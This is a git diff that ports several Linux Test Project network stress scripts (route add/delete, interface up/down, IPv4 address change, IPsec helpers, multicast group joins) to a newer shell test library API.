diff --git a/testcases/network/stress/interface/if-route-adddel b/testcases/network/stress/interface/if-route-adddel
index 8c1dfee..4ca523e 100644
--- a/testcases/network/stress/interface/if-route-adddel
+++ b/testcases/network/stress/interface/if-route-adddel
@@ -1,4 +1,5 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 #
@@ -17,24 +18,14 @@
 #
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
-TST_TOTAL=2
-
-TST_CLEANUP="netstress_cleanup"
-
-. test_net_stress.sh
+IF_CMD='route'
+. if-lib.sh
 
 CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
 
 test_body()
 {
-	local cmd_type=$1
-
-	case $cmd_type in
-	rt_cmd) local cmd_name='route' ;;
-	ip_cmd) local cmd_name='ip' ;;
-	*) tst_brkm TBROK "Unknown test parameter '$cmd_type'"
-	esac
-
+	local cmd="$CMD"
 	local iface=$(tst_iface)
 	local inet="inet$TST_IPV6"
 	local new_rt=
@@ -44,16 +35,15 @@
 		opt_rt="/64"
 	else
 		new_rt="$(tst_ipaddr_un 23)"
-		case $cmd_type in
-		rt_cmd) ;;
-		ip_cmd) opt_rt='/24' ;;
-		esac
+		if [ "$cmd" = "ip" ]; then
+			opt_rt='/24'
+		fi
 	fi
 
-	tst_resm TINFO "'$cmd_name' add/del ${new_rt}${opt_rt} $NS_TIMES times"
+	tst_res TINFO "'$cmd' add/del ${new_rt}${opt_rt} $NS_TIMES times"
 
 	if ! restore_ipaddr; then
-		tst_resm TBROK "Failed to set default IP addresses"
+		tst_res TBROK "Failed to set default IP addresses"
 		return
 	fi
 
@@ -61,21 +51,21 @@
 	while [ $cnt -le $NS_TIMES ]; do
 		make_background_tcp_traffic
 
-		case $cmd_type in
-		rt_cmd) route -A $inet add ${new_rt}${opt_rt} dev $iface ;;
-		ip_cmd) ip route add ${new_rt}${opt_rt} dev $iface ;;
+		case $cmd in
+		route) route -A $inet add ${new_rt}${opt_rt} dev $iface ;;
+		ip) ip route add ${new_rt}${opt_rt} dev $iface ;;
 		esac
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "Can't add route $new_rt to $iface"
+			tst_res TFAIL "Can't add route $new_rt to $iface"
 			return
 		fi
 
-		case $cmd_type in
-		rt_cmd) route -A $inet del ${new_rt}${opt_rt} dev $iface ;;
-		ip_cmd) ip route del ${new_rt}${opt_rt} dev $iface ;;
+		case $cmd in
+		route) route -A $inet del ${new_rt}${opt_rt} dev $iface ;;
+		ip) ip route del ${new_rt}${opt_rt} dev $iface ;;
 		esac
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "Can't del route $new_rt from $iface"
+			tst_res TFAIL "Can't del route $new_rt from $iface"
 			return
 		fi
 
@@ -84,14 +74,7 @@
 		cnt=$(($cnt + 1))
 	done
 
-	tst_resm TPASS "Test is finished correctly"
+	tst_res TPASS "Test is finished correctly"
 }
 
-netstress_setup
-
-tst_check_cmds route
-
-test_body 'rt_cmd'
-test_body 'ip_cmd'
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/interface/if-route-addlarge b/testcases/network/stress/interface/if-route-addlarge
index eee0959..f522f9a 100644
--- a/testcases/network/stress/interface/if-route-addlarge
+++ b/testcases/network/stress/interface/if-route-addlarge
@@ -1,4 +1,5 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 #
@@ -17,40 +18,27 @@
 #
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
-TST_TOTAL=2
-
-TST_CLEANUP="netstress_cleanup"
-
-. test_net_stress.sh
+IF_CMD='route'
+. if-lib.sh
 
 CHECK_INTERVAL=${CHECK_INTERVAL:-$(($ROUTE_TOTAL / 20))}
 
 test_body()
 {
-	local cmd_type=$1
-
-	case $cmd_type in
-	rt_cmd) local cmd_name='route' ;;
-	ip_cmd) local cmd_name='ip' ;;
-	*) tst_brkm TBROK "Unknown test parameter '$cmd_type'"
-	esac
-
+	local cmd="$CMD"
 	local iface=$(tst_iface)
 	local inet="inet$TST_IPV6"
 	local opt_rt=
 	if [ "$TST_IPV6" ]; then
 		opt_rt="/64"
-	else
-		case $cmd_type in
-		rt_cmd) ;;
-		ip_cmd) opt_rt='/32' ;;
-		esac
+	elif [ "$cmd" = "ip" ]; then
+		opt_rt='/32'
 	fi
 
-	tst_resm TINFO "'$cmd_name' add IPv$ipver $ROUTE_TOTAL routes"
+	tst_res TINFO "'$cmd' add IPv$TST_IPVER $ROUTE_TOTAL routes"
 
 	if ! restore_ipaddr; then
-		tst_resm TBROK "Failed to set default IP addresses"
+		tst_res TBROK "Failed to set default IP addresses"
 		return
 	fi
 
@@ -61,7 +49,7 @@
 	[ "$TST_IPV6" ] && local xymax=65535 || xymax=254
 
 	if [ $ROUTE_TOTAL -gt $((xymax * xymax)) ]; then
-		tst_resm TWARN "set ROUTE_TOTAL to $xymax * $xymax"
+		tst_res TWARN "set ROUTE_TOTAL to $xymax * $xymax"
 		ROUTE_TOTAL=$((xymax * xymax))
 	fi
 
@@ -76,12 +64,12 @@
 			local new_rt=${IPV4_NET16_UNUSED}.$x.$y
 		fi
 
-		case $cmd_type in
-		rt_cmd) route -A $inet add ${new_rt}${opt_rt} dev $iface ;;
-		ip_cmd) ip route add ${new_rt}${opt_rt} dev $iface ;;
+		case $cmd in
+		route) route -A $inet add ${new_rt}${opt_rt} dev $iface ;;
+		ip) ip route add ${new_rt}${opt_rt} dev $iface ;;
 		esac
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "Can't add route $new_rt to $iface"
+			tst_res TFAIL "Can't add route $new_rt to $iface"
 			return
 		fi
 
@@ -93,19 +81,12 @@
 			y=1
 			x=$(($x + 1))
 			if [ $x -gt $xymax ]; then
-				tst_brkm TBROK "Too large $ROUTE_TOTAL"
+				tst_brk TBROK "Too large $ROUTE_TOTAL"
 			fi
 		fi
 	done
 
-	tst_resm TPASS "Test is finished correctly"
+	tst_res TPASS "Test is finished correctly"
 }
 
-netstress_setup
-
-tst_check_cmds route
-
-test_body 'rt_cmd'
-test_body 'ip_cmd'
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/interface/if-updown b/testcases/network/stress/interface/if-updown
index 264331a..d5f3218 100644
--- a/testcases/network/stress/interface/if-updown
+++ b/testcases/network/stress/interface/if-updown
@@ -1,4 +1,5 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 #
@@ -17,46 +18,37 @@
 #
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
-TST_TOTAL=2
-
-TST_CLEANUP="netstress_cleanup"
-
-. test_net_stress.sh
+IF_CMD='ifconfig'
+TST_CLEANUP="if_cleanup_restore"
+. if-lib.sh
 
 CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IF_UPDOWN_TIMES / 20))}
 
 test_body()
 {
-	local cmd_type=$1
-
-	case $cmd_type in
-	if_cmd) local cmd_name='ifconfig' ;;
-	ip_cmd) local cmd_name='ip' ;;
-	*) tst_brkm TBROK "Unknown test parameter '$cmd_type'"
-	esac
-
+	local cmd="$CMD"
 	local iface=$(tst_iface)
 
-	tst_resm TINFO "'$cmd_name ups/downs $iface $IF_UPDOWN_TIMES times"
-	tst_resm TINFO "check connectivity interval is $CHECK_INTERVAL"
+	tst_res TINFO "'$cmd' ups/downs $iface $IF_UPDOWN_TIMES times"
+	tst_res TINFO "check connectivity interval is $CHECK_INTERVAL"
 
 	local cnt=1
 	while [ $cnt -le $IF_UPDOWN_TIMES ]; do
-		case $cmd_type in
-		if_cmd) ifconfig $iface down ;;
-		ip_cmd) ip link set $iface down ;;
+		case $cmd in
+		ifconfig) ifconfig $iface down ;;
+		ip) ip link set $iface down ;;
 		esac
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "Failed to down $iface"
+			tst_res TFAIL "Failed to down $iface"
 			return
 		fi
 
-		case $cmd_type in
-		if_cmd) ifconfig $iface up ;;
-		ip_cmd) ip link set $iface up ;;
+		case $cmd in
+		ifconfig) ifconfig $iface up ;;
+		ip) ip link set $iface up ;;
 		esac
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "Failed to up $iface"
+			tst_res TFAIL "Failed to up $iface"
 			return
 		fi
 
@@ -65,14 +57,7 @@
 		cnt=$(($cnt + 1))
 	done
 
-	tst_resm TPASS "Test is finished correctly"
+	tst_res TPASS "Test is finished correctly"
 }
 
-netstress_setup
-
-tst_check_cmds ifconfig
-
-test_body 'if_cmd'
-test_body 'ip_cmd'
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/interface/if4-addr-change b/testcases/network/stress/interface/if4-addr-change
index a665b85..5ab6775 100644
--- a/testcases/network/stress/interface/if4-addr-change
+++ b/testcases/network/stress/interface/if4-addr-change
@@ -1,4 +1,5 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 #
@@ -17,60 +18,61 @@
 #
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
-TST_TOTAL=1
 TCID=if4-addr-change
 TST_CLEANUP="do_cleanup"
+TST_TESTFUNC="test_body"
+TST_NEEDS_CMDS="ifconfig"
+. tst_net.sh
 
 CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
 # Maximum host portion of the IPv4 address on the local host
 LHOST_IPV4_HOST_MAX="254"
 
-. test_net.sh
-
 do_cleanup()
 {
 	tst_restore_ipaddr
 	tst_wait_ipv6_dad
 }
 
-trap "tst_brkm TBROK 'test interrupted'" INT
+test_body()
+{
+	local cnt=0
+	local num=1
+	local add_to_net=
 
-tst_check_cmds ifconfig
+	tst_res TINFO "ifconfig changes IPv4 address $NS_TIMES times"
 
-tst_resm TINFO "ifconfig changes IPv4 address $NS_TIMES times"
+	while [ $cnt -lt $NS_TIMES ]; do
+		# Define the network portion
+		num=$(($num + 1))
+		[ $num -gt $LHOST_IPV4_HOST_MAX ] && num=1
 
-cnt=0
-num=1
-while [ $cnt -lt $NS_TIMES ]; do
-	# Define the network portion
-	num=$(($num + 1))
-	[ $num -gt $LHOST_IPV4_HOST_MAX ] && num=1
+		[ $num -eq $RHOST_IPV4_HOST ] && continue
 
-	[ $num -eq $RHOST_IPV4_HOST ] && continue
+		# check prefix and fix values for prefix != 24
+		add_to_net=
+		if [ $IPV4_LPREFIX -lt 8 -o $IPV4_LPREFIX -ge 32 ] ; then
+			tst_brk TCONF "test must be with prefix >= 8 and prefix < 32 ($IPV4_LPREFIX)"
+		elif [ $IPV4_LPREFIX -lt 16 ]; then # N.x.x.num
+			add_to_net=".0.1"
+		elif [ $IPV4_LPREFIX -lt 24 ]; then # N.N.x.num
+			add_to_net=".1"
+		fi
 
-	# check prefix and fix values for prefix != 24
-	add_to_net=
-	if [ $IPV4_LPREFIX -lt 8 -o $IPV4_LPREFIX -ge 32 ] ; then
-		tst_brkm TCONF "test must be with prefix >= 8 and prefix < 32 ($IPV4_LPREFIX)"
-	elif [ $IPV4_LPREFIX -lt 16 ]; then # N.x.x.num
-		add_to_net=".0.1"
-	elif [ $IPV4_LPREFIX -lt 24 ]; then # N.N.x.num
-		add_to_net=".1"
-	fi
+		# Change IPv4 address
+		ROD ifconfig $(tst_iface) ${IPV4_LNETWORK}${add_to_net}.${num} netmask \
+			$IPV4_LNETMASK broadcast $IPV4_LBROADCAST
 
-	# Change IPv4 address
-	ROD ifconfig $(tst_iface) ${IPV4_LNETWORK}${add_to_net}.${num} netmask \
-		$IPV4_LNETMASK broadcast $IPV4_LBROADCAST
+		cnt=$(($cnt + 1))
 
-	cnt=$(($cnt + 1))
+		[ $CHECK_INTERVAL -eq 0 ] && continue
+		[ $(($cnt % $CHECK_INTERVAL)) -ne 0 ] && continue
 
-	[ $CHECK_INTERVAL -eq 0 ] && continue
-	[ $(($cnt % $CHECK_INTERVAL)) -ne 0 ] && continue
+		tst_res TINFO "ping $(tst_ipaddr):$(tst_ipaddr rhost) ${cnt}/$NS_TIMES"
+		tst_ping
+	done
 
-	tst_resm TINFO "ping $(tst_ipaddr):$(tst_ipaddr rhost) ${cnt}/$NS_TIMES"
 	tst_ping
-done
+}
 
-tst_ping
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/ipsec/ipsec_lib.sh b/testcases/network/stress/ipsec/ipsec_lib.sh
index cee755f..74d4fc0 100644
--- a/testcases/network/stress/ipsec/ipsec_lib.sh
+++ b/testcases/network/stress/ipsec/ipsec_lib.sh
@@ -1,25 +1,9 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2016 Red Hat Inc.,  All Rights Reserved.
 # Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Hangbin Liu <haliu@redhat.com>
-#
-#######################################################################
-
-. test_net.sh
 
 # Authenticated encryption with associated data
 AEALGO="rfc4106_128"
@@ -31,86 +15,109 @@
 CALGO="deflate"
 
 IPSEC_REQUESTS="500"
-IPSEC_SIZE_ARRAY="${IPSEC_SIZE_ARRAY:-10 100 1000 2000 10000 65000}"
 
-while getopts "hl:m:p:s:S:k:A:e:a:c:r:6" opt; do
-	case "$opt" in
-	h)
-		echo "Usage:"
-		echo "h        help"
-		echo "l n      n is the number of test link when tests run"
-		echo "m x      x is ipsec mode, could be transport / tunnel"
-		echo "p x      x is ipsec protocol, could be ah / esp / comp"
-		echo "s x      x is icmp messge size array"
-		echo "S n      n is IPsec SPI value"
-		echo "k x      key for vti interface"
-		echo "A x      Authenticated encryption with associated data algorithm"
-		echo "e x      Encryption algorithm"
-		echo "a x      Authentication algorithm"
-		echo "c x      Compression algorithm"
-		echo "r x      Num of requests, PING_MAX or netstress' '-r' opt"
-		echo "6        run over IPv6"
-		exit 0
-	;;
-	l) LINK_NUM=$OPTARG ;;
-	m) IPSEC_MODE=$OPTARG ;;
-	p) IPSEC_PROTO=$OPTARG ;;
-	s) IPSEC_SIZE_ARRAY="$OPTARG" ;;
-	S) SPI=$OPTARG ;;
-	k) VTI_KEY=$OPTARG ;;
-	A) AEALGO=$OPTARG ;;
-	e) EALGO=$OPTARG ;;
-	a) AALGO=$OPTARG ;;
-	c) CALGO=$OPTARG ;;
-	r) IPSEC_REQUESTS="$OPTARG" ;;
-	6) # skip, test_net library already processed it
-	;;
-	*) tst_brkm TBROK "unknown option: $opt" ;;
+ipsec_lib_usage()
+{
+	echo "l n     n is the number of test link when tests run"
+	echo "m x     x is ipsec mode, could be transport / tunnel"
+	echo "p x     x is ipsec protocol, could be ah / esp / comp"
+	echo "s x     x is icmp message size array"
+	echo "S n     n is IPsec SPI value"
+	echo "k x     key for vti interface"
+	echo "A x     Authenticated encryption with associated data algorithm"
+	echo "e x     Encryption algorithm"
+	echo "a x     Authentication algorithm"
+	echo "c x     Compression algorithm"
+	echo "r x     Num of requests, PING_MAX or netstress' '-r' opt"
+}
+
+ipsec_lib_parse_args()
+{
+	case "$1" in
+	l) LINK_NUM=$2;;
+	m) IPSEC_MODE=$2;;
+	p) IPSEC_PROTO=$2;;
+	s) TST_TEST_DATA="$2"; TST_TEST_DATA_IFS=":";;
+	S) SPI=$2;;
+	k) VTI_KEY=$2;;
+	A) AEALGO=$2;;
+	e) EALGO=$2;;
+	a) AALGO=$2;;
+	c) CALGO=$2;;
+	r) IPSEC_REQUESTS="$2";;
 	esac
-done
+}
+
+ipsec_lib_setup()
+{
+	case $AEALGO in
+	rfc4106_128|rfc4543_128) AEALGO_KEY=$(get_key 160);;
+	rfc4106_192|rfc4543_192) AEALGO_KEY=$(get_key 224);;
+	rfc4106_256|rfc4543_256) AEALGO_KEY=$(get_key 288);;
+	rfc4309_128) AEALGO_KEY=$(get_key 152);;
+	rfc4309_192) AEALGO_KEY=$(get_key 216);;
+	rfc4309_256) AEALGO_KEY=$(get_key 280);;
+	esac
+
+	case $EALGO in
+	des) EALGO_KEY=$(get_key 64);;
+	des3_ede) EALGO_KEY=$(get_key 192);;
+	cast5) EALGO_KEY=$(get_key 128);;
+	blowfish) EALGO_KEY=$(get_key 448);;
+	aes|twofish|camellia|serpent) EALGO_KEY=$(get_key 256);;
+	*) tst_brk TBROK "unknown enc alg: $EALGO";;
+	esac
+
+	case $AALGO in
+	sha1|rmd160) AALGO_KEY=$(get_key 160);;
+	sha256) AALGO_KEY=$(get_key 256);;
+	sha384) AALGO_KEY=$(get_key 384);;
+	sha512) AALGO_KEY=$(get_key 512);;
+	*) tst_brk TBROK "unknown auth alg: $AALGO";;
+	esac
+
+	SPI=${SPI:-1000}
+	VTI_KEY=${VTI_KEY:-10}
+	cleanup_vti=
+	ALG=
+	ALGR=
+
+	if [ -n "$IPSEC_MODE" ]; then
+		tst_net_run "tst_check_drivers xfrm_user" || \
+			tst_brk TCONF "xfrm_user driver not available on lhost or rhost"
+		cleanup_xfrm=1
+	fi
+}
+
+TST_OPTS="l:m:p:s:S:k:A:e:a:c:r:"
+TST_PARSE_ARGS=ipsec_lib_parse_args
+TST_SETUP=${TST_SETUP:-ipsec_lib_setup}
+TST_USAGE=ipsec_lib_usage
+. tst_net.sh
 
 get_key()
 {
 	local bits=$1
-	local xdg_num=$(( $bits / 4 ))
-	echo "0x$(tr -dc "[:xdigit:]" < /dev/urandom | head -c$xdg_num)"
+	local bytes=$(( $bits / 8))
+	echo "0x$(hexdump -vn $bytes -e '1/1 "%02x"' /dev/urandom)"
 }
 
-case $AEALGO in
-rfc4106_128|rfc4543_128) AEALGO_KEY=$(get_key 160) ;;
-rfc4106_192|rfc4543_192) AEALGO_KEY=$(get_key 224) ;;
-rfc4106_256|rfc4543_256) AEALGO_KEY=$(get_key 288) ;;
-rfc4309_128) AEALGO_KEY=$(get_key 152) ;;
-rfc4309_192) AEALGO_KEY=$(get_key 216) ;;
-rfc4309_256) AEALGO_KEY=$(get_key 280) ;;
-esac
-
-case $EALGO in
-des) EALGO_KEY=$(get_key 64) ;;
-des3_ede) EALGO_KEY=$(get_key 192) ;;
-cast5) EALGO_KEY=$(get_key 128) ;;
-blowfish) EALGO_KEY=$(get_key 448) ;;
-aes|twofish|camellia|serpent) EALGO_KEY=$(get_key 256) ;;
-*) tst_brkm TBROK "unknown enc alg: $EALGO" ;;
-esac
-
-case $AALGO in
-sha1|rmd160) AALGO_KEY=$(get_key 160) ;;
-sha256) AALGO_KEY=$(get_key 256) ;;
-sha384) AALGO_KEY=$(get_key 384) ;;
-sha512) AALGO_KEY=$(get_key 512) ;;
-*) tst_brkm TBROK "unknown auth alg: $AALGO" ;;
-esac
-
-SPI=${SPI:-1000}
-VTI_KEY=${VTI_KEY:-10}
-cleanup_vti=
-ALG=
-ALGR=
+tst_ipsec_setup()
+{
+	ipsec_lib_setup
+	# Configure SAD/SPD
+	if [ -n "$IPSEC_MODE" -a -n "$IPSEC_PROTO" ]; then
+		tst_res TINFO "IPsec[$IPSEC_PROTO/$IPSEC_MODE]"
+		tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
+		tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
+	fi
+}
 
 # tst_ipsec_cleanup: flush ipsec state and policy rules
 tst_ipsec_cleanup()
 {
+	[ -z "$cleanup_xfrm" ] && return
+
 	ip xfrm state flush
 	ip xfrm policy flush
 	tst_rhost_run -c "ip xfrm state flush && ip xfrm policy flush"
@@ -119,8 +126,6 @@
 		ip li del $cleanup_vti 2>/dev/null
 		tst_rhost_run -c "ip li del $cleanup_vti 2>/dev/null"
 	fi
-
-	[ "$TST_NEEDS_TMPDIR" = 1 ] && tst_rmdir
 }
 
 ipsec_set_algoline()
@@ -155,26 +160,11 @@
 		ALGR=$ALG
 		;;
 	*)
-		tst_brkm TCONF "tst_ipsec protocol mismatch"
+		tst_brk TCONF "tst_ipsec protocol mismatch"
 		;;
 	esac
 }
 
-ipsec_try()
-{
-	local output="$($@ 2>&1 || echo 'TERR')"
-
-	if echo "$output" | grep -q "TERR"; then
-		echo "$output" | grep -q \
-			'RTNETLINK answers: Function not implemented' && \
-			tst_brkm TCONF "'$@': not implemented"
-		echo "$output" | grep -q \
-			'RTNETLINK answers: Operation not supported' && \
-			tst_brkm TCONF "'$@': not supported (maybe missing 'ip${TST_IPV6}_vti' kernel module)"
-		tst_brkm TBROK "$@ failed: $output"
-	fi
-}
-
 # tst_ipsec target src_addr dst_addr: config ipsec
 #
 # target: target of the configuration host ( lhost / rhost )
@@ -183,7 +173,7 @@
 tst_ipsec()
 {
 	if [ $# -ne 3 ]; then
-		tst_brkm TCONF "tst_ipsec parameter mismatch"
+		tst_brk TCONF "tst_ipsec parameter mismatch"
 	fi
 
 	local target=$1
@@ -198,7 +188,7 @@
 	if [ $target = lhost ]; then
 		local spi_1="0x$SPI"
 		local spi_2="0x$(( $SPI + 1 ))"
-		ipsec_try ip xfrm state add src $src dst $dst spi $spi_1 \
+		TST_RTNL_CHK ip xfrm state add src $src dst $dst spi $spi_1 \
 			$p $ALG mode $mode sel src $src dst $dst
 		ROD ip xfrm state add src $dst dst $src spi $spi_2 \
 			$p $ALG mode $mode sel src $dst dst $src
@@ -231,7 +221,7 @@
 tst_ipsec_vti()
 {
 	if [ $# -ne 4 ]; then
-		tst_brkm TCONF "tst_ipsec_vti parameter mismatch"
+		tst_brk TCONF "tst_ipsec_vti parameter mismatch"
 	fi
 
 	local target=$1
@@ -249,7 +239,7 @@
 	local rd="dev $(tst_iface rhost)"
 
 	ip li add type vti help 2>&1 | grep -q vti || \
-		tst_brkm TCONF "iproute doesn't support 'vti'"
+		tst_brk TCONF "iproute doesn't support 'vti'"
 
 	ipsec_set_algoline
 
@@ -260,12 +250,12 @@
 	cleanup_vti=$vti
 
 	if [ $target = lhost ]; then
-		ipsec_try ip li add $vti $type local $src remote $dst $key $d
+		TST_RTNL_CHK ip li add $vti $type local $src remote $dst $key $d
 		ROD ip li set $vti up
 
 		local spi_1="spi 0x$SPI"
 		local spi_2="spi 0x$(( $SPI + 1 ))"
-		ipsec_try $ipx st add $o_dir $p $spi_1 $ALG $m
+		TST_RTNL_CHK $ipx st add $o_dir $p $spi_1 $ALG $m
 		ROD $ipx st add $i_dir $p $spi_2 $ALG $m
 		ROD $ipx po add dir out tmpl $o_dir $p $m $mrk
 		ROD $ipx po add dir in tmpl $i_dir $p $m $mrk
@@ -290,6 +280,8 @@
 #  * ip_rmt_tun - remote IP address
 tst_ipsec_setup_vti()
 {
+	ipsec_lib_setup
+
 	if_loc=$(tst_iface)
 	if_rmt=$(tst_iface rhost)
 
@@ -298,7 +290,7 @@
 
 	tst_vti="ltp_vti0"
 
-	tst_resm TINFO "Test vti$TST_IPV6 + IPsec[$IPSEC_PROTO/$IPSEC_MODE]"
+	tst_res TINFO "Test vti$TST_IPV6 + IPsec[$IPSEC_PROTO/$IPSEC_MODE]"
 
 	tst_ipsec_vti lhost $ip_loc $ip_rmt $tst_vti
 	tst_ipsec_vti rhost $ip_rmt $ip_loc $tst_vti
@@ -316,7 +308,7 @@
 		ROD ip route add ${IPV4_NET16_UNUSED}.1.0/$mask dev $tst_vti
 	fi
 
-	tst_resm TINFO "Add IPs to vti tunnel, " \
+	tst_res TINFO "Add IPs to vti tunnel, " \
 		       "loc: $ip_loc_tun/$mask, rmt: $ip_rmt_tun/$mask"
 
 	ROD ip a add $ip_loc_tun/$mask dev $tst_vti nodad
diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket b/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket
index 84700a5..7b79b42 100644
--- a/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket
+++ b/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket
@@ -1,6 +1,6 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) International Business Machines  Corp., 2006
-# Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -21,19 +21,21 @@
 
 . mcast-lib.sh
 
-tst_resm TINFO "joining $MCASTNUM_HEAVY IPv$ipver multicast groups on multiple sockets"
-
 do_setup()
 {
 	# Increase the maximum number of open file descriptors
 	if [ $(ulimit -n) -lt $MCASTNUM_HEAVY ]; then
-		ulimit -n $MCASTNUM_HEAVY || tst_brkm TCONF \
+		ulimit -n $MCASTNUM_HEAVY || tst_brk TCONF \
 			"Failed to set the maximum number of open file descriptors to $MCASTNUM_HEAVY"
 	fi
 
 	mcast_setup $MCASTNUM_HEAVY
 }
 
-do_setup
-do_multicast_test_multiple_join $MCASTNUM_HEAVY true
-tst_exit
+do_test()
+{
+	tst_res TINFO "joining $MCASTNUM_HEAVY IPv$TST_IPVER multicast groups on multiple sockets"
+	do_multicast_test_multiple_join $MCASTNUM_HEAVY true
+}
+
+tst_run
diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-same-group b/testcases/network/stress/multicast/grp-operation/mcast-group-same-group
index 876c395..e10f16c 100644
--- a/testcases/network/stress/multicast/grp-operation/mcast-group-same-group
+++ b/testcases/network/stress/multicast/grp-operation/mcast-group-same-group
@@ -1,6 +1,6 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) International Business Machines  Corp., 2006
-# Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -21,8 +21,15 @@
 
 . mcast-lib.sh
 
-tst_resm TINFO "joining and leaving the same IPv$ipver multicast group on $MCASTNUM_NORMAL sockets in $NS_TIMES times"
+do_setup()
+{
+	mcast_setup $MCASTNUM_NORMAL
+}
 
-mcast_setup $MCASTNUM_NORMAL
-do_multicast_test_join_leave $MCASTNUM_NORMAL
-tst_exit
+do_test()
+{
+	tst_res TINFO "joining and leaving the same IPv$TST_IPVER multicast group on $MCASTNUM_NORMAL sockets in $NS_TIMES times"
+	do_multicast_test_join_leave $MCASTNUM_NORMAL
+}
+
+tst_run
diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket b/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket
index d6b3363..ff58152 100644
--- a/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket
+++ b/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket
@@ -1,6 +1,6 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) International Business Machines  Corp., 2006
-# Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -21,8 +21,15 @@
 
 . mcast-lib.sh
 
-tst_resm TINFO "joining $MCASTNUM_HEAVY IPv$ipver multicast groups on a single socket"
+do_setup()
+{
+	mcast_setup $MCASTNUM_HEAVY
+}
 
-mcast_setup $MCASTNUM_HEAVY
-do_multicast_test_multiple_join $MCASTNUM_HEAVY
-tst_exit
+do_test()
+{
+	tst_res TINFO "joining $MCASTNUM_HEAVY IPv$TST_IPVER multicast groups on a single socket"
+	do_multicast_test_multiple_join $MCASTNUM_HEAVY
+}
+
+tst_run
diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter b/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter
index 34ed143..df70344 100644
--- a/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter
+++ b/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter
@@ -1,6 +1,6 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) International Business Machines  Corp., 2006
-# Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -21,8 +21,15 @@
 
 . mcast-lib.sh
 
-tst_resm TINFO "joining and leaving the same IPv$ipver multicast group with a different source filters on $MCASTNUM_NORMAL sockets in $NS_TIMES times"
+do_setup()
+{
+	mcast_setup $MCASTNUM_NORMAL
+}
 
-mcast_setup $MCASTNUM_NORMAL
-do_multicast_test_join_leave $MCASTNUM_NORMAL true
-tst_exit
+do_test()
+{
+	tst_res TINFO "joining and leaving the same IPv$TST_IPVER multicast group with a different source filters on $MCASTNUM_NORMAL sockets in $NS_TIMES times"
+	do_multicast_test_join_leave $MCASTNUM_NORMAL true
+}
+
+tst_run
diff --git a/testcases/network/stress/multicast/grp-operation/mcast-lib.sh b/testcases/network/stress/multicast/grp-operation/mcast-lib.sh
index 6cc2922..8e9420e 100644
--- a/testcases/network/stress/multicast/grp-operation/mcast-lib.sh
